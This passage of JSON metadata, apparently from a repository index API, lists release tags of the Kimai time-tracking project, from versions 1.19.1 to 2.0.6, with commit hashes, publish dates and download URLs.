rl":"https://github.com/kimai/kimai/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"cc39f25d37d06df216aca1d1824630b8e06f6f94","kind":"commit","published_at":"2023-03-05T02:44:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.5","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5/manifests"},{"name":"1.30.11","sha":"c341d340e6efd02ca541bc3871b22d81d29d1589","kind":"commit","published_at":"2023-03-03T16:55:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11/manifests"},{"name":"2.0.4","sha":"5c473ad39b31b2d9d9148664076babaa9c016bad","kind":"commit","published_at":"2023-03-02T13:22:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.4","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"a8b972f8a5e3aed398d008ed7333bae4c555e3e0","kind":"commit","published_at":"2023-02-25T19:57:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"266c4bad25e8632f723153c111bd637037879004","kind":"commit","published_at":"2023-02-22T14:06:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2/manifests"},{"name":"1.30.10","sha":"6df135d54761aa70f951be059811028b97b9d12c","kind":"commit","published_at":"2023-02-21T09:42:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10/manifests"},{"name":"1.30.9","sha":"a5109781fad27526d26728f6a1fab28e817198e3","kind":"commit","published_at":"2023-02-19T14:57:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9/manifests"},{"name":"2.0.1","sha":"e474087257c090c58fcd04b30bcb53427acea10f","kind":"commit","published_at":"2023-02-18T13:19:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1/manifests"},{"name":"1.30.8","sha":"2d809b4f06d5083a66bb618d9e2adabe9b152e15","kind":"commit","published_at":"2023-02-17T20:06:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8/manifests"},{"name":"1.30.7","sha":"ced1883b6f3339b837208988370669f9f5a77eee","kind":"commit","published_at":"2023-02-09T12:02:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7/manifests"},{"name":"2.0.0","sha":"d481f6826612055101d9642cf85de6bfb80189a9","kind":"commit","published_at":"2023-02-07T18:36:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0/manifests"},{"name":"1.30.6","sha":"57722f25fdeb2d71d7bdfa7dc1dd9c8c3527cc23","kind":"commit","published_at":"2023-02-06T14:57:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6/manifests"},{"name":"2.0.0-rc-1","sha":"f32448b9f5510673f88af0f71f808b0f36766b78","kind":"commit","published_at":"2023-02-05T19:14:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-rc-1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-rc-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-rc-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1/manifests"},{"name":"2.0.0-beta-3","sha":"63a3ae11479df9df4e8426306863fee8bd0b38d3","kind":"commit","published_at":"2023-02-01T23:45:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3/manifests"},{"name":"2.0.0-beta-2","sha":"a230be77dd36a4e23853cb0bace93fcae1885ed9","kind":"commit","published_at":"2023-01-21T13:49:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2/manifests"},{"name":"1.30.5","sha":"db4179df1952f7677399f611a14a2ae4681ccca7","kind":"commit","published_at":"2023-01-20T11:55:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5/manifests"},{"name":"1.30.4","sha":"b62253e1f33e35ccd35909e9bd65e73a34c74c41","kind":"commit","published_at":"2023-01-18T13:59:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4/manifests"},{"name":"1.30.3","sha":"559868fedeee4abc46ad88a92b05c32c4e8920c3","kind":"commit","published_at":"2023-01-15T16:51:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3/manifests"},{"name":"2.0.0-beta","sha":"8069e332febe5dc832bf5d5adb89e309b2700e2e","kind":"commit","published_at":"2023-01-12T11:10:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta/manifests"},{"name":"1.30.2","sha":"d74236d9aca1f49f314bea7d7bd9bd05258a7ec6","kind":"commit","published_at":"2023-01-09T23:23:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2/manifests"},{"name":"2.0.0-alpha","sha":"90a0fd8a221dce23dbd27451682d7134ab1ce9df","kind":"commit","published_at":"2022-12-31T20:19:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-alpha","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha/manifests"},{"name":"1.30.1","sha":"95e06746bd6eaa65db7b4576257447240e26e70b","kind":"commit","published_at":"2022-12-28T14:47:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1/manifests"},{"name":"1.30.0","sha":"84cc65b008f9628cb48f404b9c8be74351ab4373","kind":"commit","published_at":"2022-12-17T00:43:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0/manifests"},{"name":"1.29.1","sha":"2d82f0400da228d9b8bb890f5351445fcdc47480","kind":"commit","published_at":"2022-11-24T13:37:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1/manifests"},{"name":"1.29.0","sha":"52f5e5640ecf3ecae35253e9ef0e80afdd48601a","kind":"commit","published_at":"2022-11-21T20:17:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0/manifests"},{"name":"1.28.1","sha":"642d31432a1257e2f098c6bbd08380a5aa05e44e","kind":"commit","published_at":"2022-10-30T10:34:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.1/manifests"},{"name":"1.28.0","sha":"421be6835e2f42a181cd5f1a00adc98cfddaaf29","kind":"commit","published_at":"2022-10-29T16:23:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0/manifests"},{"name":"1.27.0","sha":"6d7054c18c2f2deccccd7890730c8f3f0619768e","kind":"commit","published_at":"2022-10-19T06:55:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0/manifests"},{"name":"1.26.0","sha":"1959d4d8df3ce9883f54f51ccd4751984232bae3","kind":"commit","published_at":"2022-10-01T21:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0/manifests"},{"name":"1.25.0","sha":"b38fc9662362c0d8b4c55d487ff1d673db7f943b","kind":"commit","published_at":"2022-09-20T13:53:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0/manifests"},{"name":"1.24.0","sha":"5a2b53900301726339746f5f15d295b5f18543df","kind":"commit","published_at":"2022-09-04T21:55:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.24.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0/manifests"},{"name":"1.23.1","sha":"00906851b5e9bdcc6550c6648e823dc759e23a04","kind":"commit","published_at":"2022-09-01T11:15:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1/manifests"},{"name":"1.23.0","sha":"ad20fd1c6422a2155927481d7b0e39367182c7d8","kind":"commit","published_at":"2022-08-30T16:02:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0/manifests"},{"name":"1.22.1","sha":"303ec5be117601fefba1036fdfb57b20af507546","kind":"commit","published_at":"2022-08-01T16:56:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1/manifests"},{"name":"1.22.0","sha":"64c752bea3663d9a9603ffa09c512b0da125d925","kind":"commit","published_at":"2022-08-01T12:45:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0/manifests"},{"name":"1.21.0","sha":"0dba83d8e9c526c1f30a77175e0b79a9d8e9dae2","kind":"commit","published_at":"2022-07-13T15:21:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0/manifests"},{"name":"1.20.4","sha":"cdf5a545ebc916ffe1b26e322b101474010b7c14","kind":"commit","published_at":"2022-06-14T11:07:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4/manifests"},{"name":"1.20.3","sha":"a60df6506257ed3cf709002e390542c1ac3a3f3d","kind":"commit","published_at":"2022-06-11T11:53:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3/manifests"},{"name":"1.20.2","sha":"3f827b3104f6512480b3111f5db8755a11ae8de2","kind":"commit","published_at":"2022-05-31T16:08:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2/manifests"},{"name":"1.20.1","sha":"d5f8655827af45750e8538f49814a0cb4499e351","kind":"commit","published_at":"2022-05-21T11:13:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1/manifests"},{"name":"1.20","sha":"3e6100f368cfcd7d25dc3a7c791b860e0751df2a","kind":"commit","published_at":"2022-05-18T23:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20","html_url":"https://github.com/kimai/kimai/releases/tag/1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20/manifests"},{"name":"1.19.7","sha":"c8098b2e00a56725f25a39f31d710983f649e254","kind":"commit","published_at":"2022-05-07T21:47:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7/manifests"},{"name":"1.19.6","sha":"100f8a5165c7d455b2a4c79a10a2abf185aaa394","kind":"commit","published_at":"2022-04-29T16:14:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6/manifests"},{"name":"1.19.5","sha":"76899d2fdb845cce2e1b32445318c656e8d98b75","kind":"commit","published_at":"2022-04-26T16:48:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5/manifests"},{"name":"1.19.4","sha":"f8bbb3065cd6225cf4659e03575175139a275fa9","kind":"commit","published_at":"2022-04-19T11:12:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4/manifests"},{"name":"1.19.3","sha":"a179719c3eab920f9bdb94014df691b4aae2e927","kind":"commit","published_at":"2022-04-05T16:10:09.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3/manifests"},{"name":"1.19.2","sha":"f2a8cf0930993e971d5563aca23d16ddb851b54b","kind":"commit","published_at":"2022-04-04T22:59:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2/manifests"},{"name":"1.19.1","sha":"3a7e3b216810ef28b57d900c52ddcd37cc92edd1","kind":"commit","published_at":"2022-03-30T20:23:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2F